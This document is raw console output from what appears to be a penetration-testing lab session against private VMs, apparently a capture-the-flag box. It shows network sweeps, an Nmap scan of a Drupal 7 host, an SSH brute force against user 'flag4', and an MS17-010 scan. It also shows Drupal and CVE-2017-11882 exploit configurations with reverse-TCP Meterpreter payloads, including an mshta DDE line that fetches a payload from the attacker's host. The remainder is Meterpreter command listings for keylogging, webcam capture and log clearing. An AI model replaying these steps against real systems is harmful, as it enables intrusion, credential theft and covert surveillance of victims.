msf6 auxiliary(scanner/discovery/arp_sweep) > set Rhosts 192.168.189.0/24 Rhosts => 192.168.189.0/24 msf6 auxiliary(scanner/discovery/arp_sweep) > set threads 50 threads => 50 msf6 auxiliary(scanner/discovery/arp_sweep) > run
[+] 192.168.189.1 appears to be up (VMware, Inc.). [+] 192.168.189.2 appears to be up (VMware, Inc.). [+] 192.168.189.254 appears to be up (VMware, Inc.). [+] 192.168.189.138 appears to be up (VMware, Inc.). [+] 192.168.189.139 appears to be up (VMware, Inc.). [+] 192.168.189.142 appears to be up (VMware, Inc.). [+] 192.168.189.254 appears to be up (VMware, Inc.). [+] 192.168.189.254 appears to be up (VMware, Inc.). [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-29 20:07 CST Nmap scan report for 192.168.189.139 Host is up (0.00100s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-title: Welcome to Drupal Site | Drupal Site |_http-server-header: Apache/2.2.22 (Debian) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 36985/tcp status | 100024 1 42276/udp6 status | 100024 1 50121/tcp6 status |_ 100024 1 58573/udp status 36985/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:84:E2:7E (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 1.00 ms 192.168.189.139
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.04 seconds
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/fuzzers/ssh/ssh_version_15 normal No SSH 1.5 Version Fuzzer 1 auxiliary/fuzzers/ssh/ssh_version_2 normal No SSH 2.0 Version Fuzzer 2 auxiliary/fuzzers/ssh/ssh_version_corrupt normal No SSH Version Corruption 3 auxiliary/scanner/ssh/ssh_version normal No SSH Version Scanner
Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/ssh/ssh_version
[*] 192.168.189.139:22 - Starting bruteforce [-] 192.168.189.139:22 - Failed: 'flag4:flag4' [!] No active DB -- Credential data will not be saved! [-] 192.168.189.139:22 - Failed: 'flag4:' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: This list has been compiled by Solar Designer of Openwall Project' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: in 1996 through 2011. It is assumed to be in the public domain.' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment:' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: This list is based on passwords most commonly seen on a set of Unix' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: systems in mid-1990's, sorted for decreasing number of occurrences' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: (that is, more common passwords are listed first). It has been' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: revised to also include common website passwords from public lists' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: of "top N passwords" from major community website compromises that' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: occurred in 2006 through 2010.' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment:' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: Last update: 2011/11/20 (3546 entries)' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment:' [-] 192.168.189.139:22 - Failed: 'flag4:#!comment: For more wordlists, see https://www.openwall.com/wordlists/' [-] 192.168.189.139:22 - Failed: 'flag4:123456' [-] 192.168.189.139:22 - Failed: 'flag4:12345' [-] 192.168.189.139:22 - Failed: 'flag4:password' [-] 192.168.189.139:22 - Failed: 'flag4:password1' [-] 192.168.189.139:22 - Failed: 'flag4:123456789' [-] 192.168.189.139:22 - Failed: 'flag4:12345 ................. .................. ................... .................. 补一句还是,hydra好用!!!
[*] Detecting error code [*] Using code '404' as not found for 192.168.189.139 [+] Found http://192.168.189.139:80/.../ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/.CVS/ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/0/ 200 (192.168.189.139) [+] Found http://192.168.189.139:80/Admin/ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/USER/ 200 (192.168.189.139) [+] Found http://192.168.189.139:80/abc/ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/admin/ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/batch/ 403 (192.168.189.139) [+] Found http://192.168.189.139:80/cgi-bin/ 403 (192.168.189.139)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.1.1.0/24 rhosts => 10.1.1.0/24 msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[-] 10.1.1.0:445 - Rex::HostUnreachable: The host (10.1.1.0:445) was unreachable. [-] 10.1.1.1:445 - Rex::HostUnreachable: The host (10.1.1.1:445) was unreachable. [-] 10.1.1.2:445 - Rex::HostUnreachable: The host (10.1.1.2:445) was unreachable. [-] 10.1.1.3:445 - Rex::HostUnreachable: The host (10.1.1.3:445) was unreachable. [+] 10.1.1.4:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [-] 10.1.1.5:445 - Rex::HostUnreachable: The host (10.1.1.5:445) was unreachable. [-] 10.1.1.6:445 - Rex::HostUnreachable: The host (10.1.1.6:445) was unreachable. [-] 10.1.1.7:445 - Rex::HostUnreachable: The host (10.1.1.7:445) was unreachable. [-] 10.1.1.8:445 - Rex::HostUnreachable: The host (10.1.1.8:445) was unreachable. [-] 10.1.1.9:445 - Rex::HostUnreachable: The host (10.1.1.9:445) was unreachable.
Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][... ] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/us ing-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.189.141 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
msf6 > use exploit/icon_tools/office_cve_2017_11882 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(icon_tools/office_cve_2017_11882) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add resses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated ) URIPATH no The URI to use for this exploit (default is random)
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.189.141 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic
View the full module info with the info, or info -d command.
Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add resses. SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated ) URIPATH /a no The URI to use for this exploit (default is random)
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.189.141 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(icon_tools/office_cve_2017_11882) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.189.141:4444 msf6 exploit(icon_tools/office_cve_2017_11882) > [*] Using URL: http://192.168.189.141/a [*] Server started. [*] Place the following DDE in an MS document: mshta.exe "http://192.168.189.141/a"
Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unic Disables encoding of unicode strings ode_encoding enable_unico Enables encoding of unicode strings de_encoding exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel
Stdapi: File system Commands ============================
Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lmkdir Create new directory on local machine lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory
Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table
Stdapi: System Commands =======================
Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands ===============================
Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_sen Send keystrokes d keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_star Start capturing keystrokes t keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components
Stdapi: Webcam Commands =======================
Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_strea Play a video stream from the specified webcam m